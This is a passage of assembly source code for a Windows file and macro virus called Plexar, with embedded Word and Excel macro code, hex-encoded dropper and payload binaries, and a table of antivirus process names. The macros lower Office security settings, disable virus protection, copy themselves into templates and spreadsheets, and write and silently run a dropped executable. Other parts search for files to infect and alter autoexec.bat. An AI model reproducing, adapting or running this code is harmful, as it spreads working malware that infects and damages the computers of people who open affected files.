'System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"', 0Dh, 0Ah DB 'System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = "1"', 0Dh, 0Ah DB 'With Options: .VirusProtection = (2 * 4 + 4 / 6 - 2): .ConfirmConversions = (2 * 4 + 4 / 6 - 2): End With', 0Dh, 0Ah DB 'With Application: .DisplayStatusBar = (2 * 4 + 4 / 6 - 2): End With', 0Dh, 0Ah DB 'Set AKT = VBE.ActiveVBProject.VBComponents', 0Dh, 0Ah DB 'Set NOX = NormalTemplate.VBProject.VBComponents', 0Dh, 0Ah DB 'Set DOX = ActiveDocument.VBProject.VBComponents', 0Dh, 0Ah DB 'AKT.Item(ZZZ).Export XXX', 0Dh, 0Ah DB 'If (NOX.Item(ZZZ).Name <> ZZZ) Then', 0Dh, 0Ah DB 'NOX.Import XXX', 0Dh, 0Ah DB 'NormalTemplate.Save', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'If (DOX.Item(ZZZ).Name <> ZZZ) Then', 0Dh, 0Ah DB 'DOX.Import XXX', 0Dh, 0Ah DB 'ActiveDocument.SaveAs ActiveDocument.FullName', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'Kill XXX', 0Dh, 0Ah DB 'Call Correme', 0Dh, 0Ah DB 'End Sub', 0Dh, 0Ah DB 'Private Sub Correme()', 0Dh, 0Ah DB 'On Error Resume Next', 0Dh, 0Ah DB 'Dim joda as String', 0Dh, 0Ah DB 'Dim X as String', 0Dh, 0Ah DB 'joda = "' L_Virus_Macro EQU $-Virus_Macro Virus_Macro_2 LABEL NEAR DB 'For o = 1 to Len(joda) Step 2', 0Dh, 0Ah DB 'X = X + Chr("&h" + Mid(Joda, o, 2))', 0Dh, 0Ah DB 'Next', 0Dh, 0Ah DB 'raxname = Environ("windir") & "\raxelp.exe"', 0Dh, 0Ah DB 'Open raxname For Binary As #1', 0Dh, 0Ah DB 'Put #1, 1, X$', 0Dh, 0Ah DB 'Close #1', 0Dh, 0Ah DB 'xoxo = Shell(raxname, 0)', 0Dh, 0Ah DB 'End Sub', 0Dh, 0Ah L_Virus_Macro_2 EQU $-Virus_Macro_2 Nihil DB 00h Memoria DD 00000000h Raxelp_$$$ DB "c:\raxelp.$$$", 00h Plxwrd_vbs DB "plxwrd.vbs", 00h Macro_VBS LABEL NEAR DB 'On Error Resume Next', 0Dh, 0Ah DB 'Set word = CreateObject("Word.Application")', 0Dh, 0Ah DB 'If ( word <> "" ) Then', 0Dh, 0Ah DB 'word.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"', 0Dh, 0Ah DB 'word.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = "1"', 0Dh, 0Ah DB 'Set maca = word.Application.NormalTemplate.VBProject.VBComponents', 0Dh, 0Ah DB 'If maca.Item("Plexar").Name <> "Plexar" Then', 0Dh, 0Ah DB 'maca.Import "c:\raxelp.$$$"', 0Dh, 0Ah DB 'word.Application.NormalTemplate.Save', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'Set fso = CreateObject("Scripting.FileSystemObject")', 0Dh, 0Ah DB 'Set excel = CreateObject("Excel.Application")', 0Dh, 0Ah DB 'If ( excel <> "" ) Then', 0Dh, 0Ah DB 'yyy = excel.Application.StartupPath & "\personal.xls"', 0Dh, 0Ah DB 'If (fso.FileExists(yyy) = False) Then', 0Dh, 0Ah DB 'excel.WorkBooks.Add.SaveAs yyy', 0Dh, 0Ah DB 'excel.Application.ActiveWorkbook.VBProject.VBComponents.Import "c:\raxelp.$$$"', 0Dh, 0Ah DB 'excel.ActiveWindow.Visible = Not -1', 0Dh, 0Ah DB 'excel.Workbooks("personal.xls").Save', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'excel.Application.Quit', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah Largo_MVBS EQU $-Macro_VBS FHandle_DPE DD 00000000h MHandle_DPE DD 00000000h BaseMap_DPE DD 00000000h DROPPER LABEL NEAR DB �04Dh, 038h, 05Ah, 050h, 038h, 002h, 067h, 002h DB �004h, 007h, 00Fh, 007h, 0FFh, 01Ch, 010h, 0B8h DB �0E1h, 048h, 001h, 040h, 0E0h, 01Ah, 0E1h, 00Ah DB �0B3h, 001h, 01Ch, 006h, 0BAh, 010h, 000h, 00Eh DB �01Fh, 0B4h, 009h, 0CDh, 021h, 07Dh, 0B8h, 067h DB �04Ch, 00Ah, 090h, 010h, 054h, 068h, 069h, 073h DB �007h, 020h, 070h, 072h, 06Fh, 067h, 033h, 061h DB �06Dh, 0C7h, 027h, 075h, 0C7h, 074h, 0D3h, 062h DB �065h, 0C7h, 0FFh, 00Fh, 06Eh, 099h, 006h, 064h DB �0E7h, 0C7h, 0D3h, 057h, 069h, 0D0h, 033h, 032h DB �00Dh, 01Ch, 00Ah, 024h, 037h, 029h, 001h, 057h DB �063h, 050h, 045h, 00Eh, 008h, 04Ch, 001h, 005h DB �001h, 099h, 02Bh, 05Ch, 0A3h, 058h, 014h, 0E0h DB �0E0h, 08Eh, 004h, 081h, 00Bh, 001h, 002h, 019h DB �08Dh, 019h, 022h, 007h, 08Ah, 010h, 004h, 064h DB �020h, 099h, 01Eh, 056h, 00Ch, 041h, 053h, 001h DB �01Fh, 038h, 003h, 029h, 00Ah, 009h, 012h, 070h DB �036h, 04Dh, 002h, 0A4h, 01Fh, 0A4h, 035h, 053h DB �020h, 008h, 07Bh, 0A5h, 04Bh, 02Bh, 001h, 0B2h DB �097h, 0A2h, 02Eh, 00Ah, 060h, 038h, 052h, 0BCh DB �0A1h, 0D4h, 061h, 0F8h, 0EBh, 0C1h, 043h, 04Fh DB �044h, 045h, 05Bh, 0D8h, 022h, 002h, 056h, 006h DB �024h, 095h, 0B7h, 007h, 0E0h, 044h, 041h, 054h DB �02Ah, 00Dh, 0CAh, 004h, 091h, 012h, 035h, 008h DB �050h, 07Ch, 0C3h, 0C0h, 007h, 02Eh, 069h, 064h DB �061h, 074h, 02Ah, 04Ch, 06Dh, 023h, 026h, 03Ch DB �0D4h, 028h, 0E0h, 072h, 065h, 06Ch, 023h, 06Fh DB �063h, 091h, 050h, 0C8h, 01Ch, 056h, 040h, 050h DB �073h, 0E4h, 063h, 0E1h, 01Dh, 022h, 01Ch, 08Ah DB �01Eh, 028h, 054h, 0E1h, 05Ah, 001h, 0FFh, 0B0h DB �033h, 0C0h, 050h, 084h, 030h, 0E8h, 01Dh, 019h DB �068h, 088h, 013h, 0DEh, 00Ah, 099h, 007h, 015h DB �06Ah, 091h, 00Eh, 006h, 007h, 0FFh, 025h, 050h DB �040h, 01Ch, 00Dh, 054h, 086h, 045h, 05Ch, 04Bh DB �001h, 0FEh, 0BFh, 0C9h, 03Ch, 0F1h, 0D4h, 0C6h DB �064h, 019h, 065h, 050h, 009h, 048h, 02Ch, 014h DB �071h, 089h, 05Ch, 03Eh, 03Eh, 0F8h, 033h, 07Ch DB �031h, 084h, 0A4h, 063h, 092h, 0E5h, 06Ah, 014h DB �007h, 04Bh, 045h, 052h, 04Eh, 030h, 04Ch, 033h DB �032h, 02Eh, 038h, 064h, 06Ch, 0F0h, 035h, 055h DB �053h, 01Ch, 036h, 00Bh, 002h, 0F9h, 0D9h, 065h DB �0C6h, 0F4h, 031h, 080h, 045h, 078h, 069h, 074h DB �050h, 072h, 03Fh, 06Fh, 063h, 038h, 073h, 0EFh DB �01Dh, 058h, 02Ah, 06Bh, 04Dh, 0C7h, 017h, 061h DB �067h, 094h, 041h, 0CFh, 001h, 0AAh, 0D7h, 0B6h DB �097h, 00Eh, 01Fh, 030h, 025h, 04Eh, 02Bh, 097h DB �07Fh, 004h, 0BEh, 004h, 0B2h, 02Fh, 07Ah, 03Bh DB �063h, 002h, 083h, 003h, 05Fh, 00Dh, 081h, 0E7h DB �080h, 00Eh, 091h, 011h, 038h, 056h, 020h, 08Bh DB �001h, 0F9h, 0F0h, 015h, 050h, 018h, 0B5h, 008h DB �014h, 0A0h, 094h, 068h, 030h, 0ACh, 00Ah, 0BFh DB �08Ah, 02Ch, 015h, 029h, 018h, 071h, 090h, 011h DB �0B4h, 060h, 001h, 0E8h, 002h, 04Eh, 08Ch, 02Fh DB �09Ch, 0C1h, 0F5h, 014h, 04Fh, 09Ch, 038h, 009h DB �038h, 049h, 032h, 044h, 009h, 05Fh, 027h, 043h DB �007h, 04Fh, 007h, 04Eh, 007h, 031h, 005h, 028h DB �067h, 0A4h, 005h, 040h, 04Ah, 04Ah, 004h, 028h DB �08Ah, 080h, 002h, 0DEh, 0D4h, 056h, 080h, 081h DB �077h, 0F1h, 049h, 007h, 046h, 002h, 013h, 06Dh DB �0C0h, 002h, 010h, 047h, 009h, 005h, 0FFh, 05Ch DB �003h, 03Bh, 0F8h, 0A4h, 007h, 0A2h, 002h, 08Ch DB �013h, 00Bh, 0AAh, 0C3h, 003h, 007h, 077h, 087h DB �097h, 036h, 078h, 009h, 063h, 00Ah, 018h, 0A2h DB �022h, 03Fh, 002h, 020h, 046h, 03Ch, 070h, 0FDh DB �033h, 00Ah, 0A2h, 04Bh, 0F0h, 086h, 016h, 0A1h DB �010h, 08Fh, 0E5h, 00Fh, 0C2h, 013h, 00Dh, 022h DB �007h, 088h, 008h, 05Fh, 0AAh, 09Bh, 010h, 06Fh DB �00Fh, 010h, 0ADh, 007h, 041h, 0C3h, 01Bh, 03Eh DB �020h, 0A2h, 01Dh, 072h, 04Eh, 0A4h, 040h, 0E1h DB �046h, 020h, 07Ch, 0DCh, 004h, 029h, 010h, 06Eh DB �039h, 04Fh, 008h, 09Ch, 0DEh, 088h, 06Bh, 010h DB �033h, 03Fh, 008h, 0F5h, 00Ah, 001h, 077h, 010h DB �0EDh, 01Bh, 094h, 00Bh, 087h, 020h, 0B1h, 080h DB �011h, 0C5h, 010h, 0A9h, 00Ah, 020h, 01Bh, 001h DB �016h, 087h, 04Ch, 021h, 008h, 08Eh, 03Eh, 019h DB �099h, 0FFh, 0E7h, 0D3h, 02Ah, 00Bh, 010h, 010h DB �06Fh, 009h, 016h, 02Ch, 019h, 021h, 091h, 08Ch DB �06Eh, 0F0h, 014h, 08Fh, 080h, 0F4h, 001h, 019h DB �011h, 018h, 092h, 0A2h, 09Dh, 03Fh, 09Fh, 01Dh DB �070h, 0A8h, 010h, 06Eh, 090h, 0CAh, 054h, 010h DB �07Fh, 089h, 0F9h, 008h, 080h, 0A3h, 0D6h, 07Ah DB �020h, 086h, 0EFh, 00Dh, 045h, 093h, 022h, 010h DB �0F0h, 00Dh, 043h, 0A8h, 09Ch, 010h, 0DBh, 062h DB �021h, 0C5h, 019h, 021h, 09Ch, 087h, 056h, 010h DB �0A0h, 071h, 007h, 069h, 07Fh, 042h, 009h, 0EBh DB �02Ah, 014h, 0F0h, 04Fh, 05Fh, 028h, 0CAh, 0F5h DB �020h, 005h, 090h, 014h, 008h, 099h, 097h, 0D3h DB �094h, 0F0h, 07Ah, 071h, 070h, 092h, 02Ch, 0DFh DB �0D2h, 0F2h, 004h, 0A0h, 04Ch, 0B1h, 0CAh, 031h DB �070h, 02Fh, 00Ah, 099h, 0A2h, 010h, 047h, 007h DB �0EAh, 005h, 033h, 020h, 009h, 054h, 081h, 011h DB �078h, 045h, 080h, 020h, 022h, 099h, 0D5h, 0C1h DB �010h, 048h, 002h, 050h, 020h, 009h, 06Ah, 090h DB �020h, 021h, 06Ah, 030h, 031h, 006h, 00Ah, 0A0h DB �059h, 00Ch, 023h, 04Eh, 070h, 029h, 02Ah, 0A2h DB �01Eh, 0B7h, 0B4h, 028h, 069h, 00Ah, 0D0h, 01Fh DB �047h, 079h, 004h, 097h, 05Ah, 060h, 04Ah, 0EFh DB �084h, 033h, 088h, 095h, 08Fh, 01Fh, 062h, 0ECh DB �09Ah, 055h, 072h, 0C4h, 070h, 071h, 020h, 04Ch DB �010h, 0E6h, 0C9h, 0E8h, 05Eh, 06Eh, 072h, 0BDh DB �001h, 075h, 0D6h, 0C0h, 000h Guarda_EIP DD 00000000h FHandle DD 00000000h MHandle DD 00000000h BaseMap DD 00000000h Tama¤o_1 DD 00000000h Tama¤o_2 DD 00000000h CRC_PLXR EQU 09EB7DF5h CRCNoInf DD 056B06AB2h DD 0C4B3B3AEh DD 09FAACC5Eh DD 003E9FED8h DD 071C0B944h DD 0AEBB798Ch DD 098BEBD89h DD 0DA2CC2EBh DD 0527EDB25h DD 0EE9E3F8Bh DD 0624D4378h DD 00926128Ch DD 0A6B26D55h DD 0617F1F35h DD 05AE2F365h DD 085B3A1E3h DD 05CE63D60h DD 09EA8CB96h DD 0A0AC0C6Dh ; -- LA FOQUIDA TABLA -- COPYRIGHT (C) 2001 MONGOLITO ENTERPRISES ; "defr" 56B06AB2 ; "scan" C4B3B3AE ; "anti" 9FAACC5E ; "rund" 03E9FED8 ; "wscr" 71C0B944 ; "cscr" AEBB798C ; "drwa" 98BEBD89 ; "smar" DA2CC2EB ; "task" 527EDB25 ; "avpm" EE9E3F8B ; "avp3" 624D4378 ; "avpc" 0926128C ; "avwi" A6B26D55 ; "avco" 617F1F35 ; "vshw" 5AE2F365 ; "fp-w" 85B3A1E3 ; "f-st" 5CE63D60 ; "f-pr" 9EA8CB96 ; "f-ag" A0AC0C6D ; -- LA FOQUIDA TABLA -- COPYRIGHT (C) 2001 MONGOLITO ENTERPRISES IF DEBUG Mascara DB "BAIT*.???", 00h ELSE Mascara DB "*.???", 00h ENDIF Busqueda DB SIZEOF_WIN32_FIND_DATA DUP (00h) RewtDir DB MAX_PATH DUP (00h) BHandle DD 00000000h IF DEBUG Puto_Puto DB ".", 00h ELSE Puto_Puto DB "..", 00h ENDIF LargPP DD 00000000h CRC_EXE EQU 0F643C743h CRC_SCR EQU 096C10707h TempAPI DB 25d DUP (00h) ReSave DD 00000000h PackedAPIs DB "X", 00h DB "Create", 00h DB "File", 00h DB "Map", 00h DB "View", 00h DB "Close", 00h DB "Get", 00h DB "Set", 00h DB "Find", 00h DB "Virtual", 00h DB "Window", 00h DB "Directory", 00h DB "Current", 00h DB "WaitFor", 00h DB "Thread", 00h DB 0FFh PFHandle DD 00000000h PTemporal DD 00000000h CocoFrio DB "c:\cocofrio.com", 00h Largo_CocoFrio EQU $-CocoFrio AutoExec DB "c:\autoexec.bat", 00h Payload_Prog LABEL NEAR DB �081h, 0FCh, 0C5h, 005h, 077h, 002h, 0CDh, 020h DB �0B9h, 037h, 002h, 0BEh, 037h, 003h, 0BFh, 065h DB �005h, 0BBh, 000h, 080h, 0FDh, 0F3h, 0A4h, 0FCh DB �087h, 0F7h, 083h, 0EEh, 0C6h, 019h, 0EDh, 057h DB �057h, 0E9h, 0EDh, 003h, 055h, 050h, 058h, 021h DB �00Bh, 001h, 004h, 008h, 0A7h, 0CBh, 0C1h, 082h DB �0C6h, 0B5h, 090h, 039h, 000h, 004h, 0A8h, 001h DB �006h, 0DDh, 0FFh, 0FFh, 0B4h, 02Ah, 0CDh, 021h DB �088h, 016h, 080h, 003h, 080h, 0FEh, 007h, 076h DB �019h, 033h, 0C0h, 08Ah, 0FEh, 0FFh, 0C6h, 0F6h DB �0E6h, 033h, 0D2h, 0B3h, 005h, 0F6h, 0F3h, 002h DB �0C2h, 02Ch, 004h, 03Ah, 006h, 092h, 0DFh, 018h DB �074h, 019h, 0EBh, 06Bh, 090h, 091h, 067h, 003h DB �004h, 0EFh, 0FFh, 075h, 054h, 0B8h, 012h, 000h DB �0CDh, 010h, 0B4h, 00Bh, 0BBh, 00Eh, 006h, 0BFh DB �0FDh, 002h, 033h, 0DBh, 0BAh, 000h, 009h, 008h DB �0B3h, 039h, 0BEh, 095h, 001h, 0C7h, 0FEh, 0E8h DB �003h, 070h, 0B3h, 028h, 0BEh, 0CAh, 007h, 024h DB �0BEh, 0DFh, 0CCh, 016h, 003h, 042h, 0CDh, 016h DB �0BEh, 054h, 09Bh, 0FBh, 003h, 0B3h, 01Eh, 0B8h DB �003h, 02Eh, 061h, 0B4h, 0FFh, 0FFh, 00Eh, 0ACh DB �00Ah, 0C0h, 074h, 010h, 0B9h, 038h, 000h, 051h DB �0B9h, 0FFh, 0FFh, 0E2h, 0FEh, 059h, 0F6h, 0DBh DB �0E2h, 0F7h, 016h, 0EBh, 0EBh, 0B8h, 000h, 04Ch DB �090h, 013h, 0D9h, 020h, 000h, 0C4h, 0FEh, 037h DB �03Ch, 020h, 050h, 04Ch, 045h, 058h, 041h, 052h DB �020h, 03Eh, 0B6h, 0FDh, 00Dh, 00Dh, 00Ah, 001h DB �000h, 028h, 06Fh, 057h, 02Eh, 000h, 06Dh, 061h DB �073h, 0DFh, 0FEh, 020h, 065h, 06Eh, 074h, 072h DB �065h, 074h, 005h, 069h, 064h, 06Fh, 020h, 06Eh DB �0FFh, 071h, 075h, 065h, 020h, 075h, 06Eh, 020h DB �070h, 016h, 065h, 06Fh, 07Eh, 0EBh, 018h, 020h DB �019h, 061h, 063h, 074h, 06Fh, 072h, 0B2h, 0E6h DB �029h, 041h, 038h, 0D8h, 096h, 01Bh, 070h, 033h DB �0DFh, 01Eh, 06Ch, 061h, 004h, 061h, 064h, 065h DB �063h, 0DFh, 0CAh, 06Fh, 020h, 03Bh, 06Dh, 062h DB �065h, 06Ch, 0B9h, 0B7h, 06Ch, 00Ch, 069h, 06Dh DB �069h, 05Fh, 0B6h, 0BDh, 012h, 075h, 072h, 062h DB �01Eh, 06Fh, 047h, 023h, 06Ch, 088h, 0ACh, 0B5h DB �06Ch, 02Ch, 050h, 04Fh, 06Dh, 0DBh, 04Bh, 020h DB �047h, 06Eh, 05Dh, 0B7h, 03Dh, 065h, 003h, 061h DB �04Fh, 06Ch, 008h, 0FBh, 020h, 067h, 06Fh, 063h DB �068h, 03Fh, 06Dh, 0D8h, 040h, 061h, 093h, 06Dh DB �041h, 061h, 091h, 061h, 0F7h, 076h, 0C6h, 069h DB �06Ch, 03Dh, 04Bh, 0B1h, 076h, 074h, 075h, 066h DB �020h, 03Eh, 00Eh, 061h, 080h, 079h, 020h, 0BDh DB �0FDh, 041h, 062h, 06Fh, 084h, 076h, 061h, 072h DB �06Eh, 0B6h, 073h, 06Eh, 045h, 078h, 07Fh, 0DBh DB �073h, 06Fh, 0C9h, 072h, 00Fh, 06Dh, 065h, 073h DB �0B2h, 0B3h, 06Dh, 081h, 000h, 043h, 0FFh, 0B7h DB �04Dh, 028h, 063h, 029h, 020h, 032h, 030h, 030h DB �02Fh, 0FFh, 031h, 020h, 04Ch, 069h, 074h, 065h DB �053h, 079h, 02Fh, 02Fh, 020h, 01Eh, 0DCh, 048h DB �065h, 0B6h, 049h, 056h, 0ADh, 0DDh, 003h, 065h DB �07Ah, 051h, 08Fh, 0BBh, 0EDh, 02Eh, 000h, 048h DB �068h, 074h, 09Ch, 072h, 06Fh, 015h, 00Eh, 018h DB �01Fh, 0DAh, 0CDh, 09Dh, 07Ah, 06Eh, 064h, 002h DB �005h, 0D7h, 034h, 05Dh, 0EEh, 0C3h, 009h, 0F9h DB �004h, 0EDh, 00Ah, 07Bh, 0F7h, 059h, 0C3h, 000h DB �000h, 040h, 0A8h, 000h, 000h, 000h, 000h, 020h DB �001h, 0FFh, 0A4h, 0E8h, 034h, 000h, 072h, 0FAh DB �041h, 0E8h, 029h, 000h, 0E3h, 035h, 073h, 0F9h DB �083h, 0E9h, 003h, 072h, 006h, 088h, 0CCh, 0ACh DB �0F7h, 0D0h, 095h, 031h, 0C9h, 0E8h, 015h, 000h DB �011h, 0C9h, 075h, 008h, 041h, 0E8h, 00Dh, 000h DB �073h, 0FBh, 041h, 041h, 041h, 08Dh, 003h, 096h DB �0F3h, 0A4h, 096h, 0EBh, 0CEh, 0E8h, 002h, 000h DB �011h, 0C9h, 001h, 0DBh, 075h, 004h, 0ADh, 011h DB �0C0h, 093h, 0C3h, 05Eh, 0B9h, 003h, 000h, 0ACh DB �02Ch, 0E8h, 03Ch, 001h, 077h, 0F9h, 0C1h, 004h DB �008h, 029h, 034h, 0ADh, 0E2h, 0F1h, 0C3h Largo_PProg EQU $-Payload_Prog ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DB 10h DUP (90h) Termina_Plexar LABEL NEAR Mentira PROC PUSH 0Ah ; lang_spanish PUSH 040000h + 080000h + 010h ; mb_topmost & mb_right & mb_iconerror PUSH OFFSET Titulo PUSH OFFSET Mensaje PUSH 0 CALL MessageBoxExA PUSH 0 CALL ExitProcess MENTIRA ENDP End Empieza_Plexar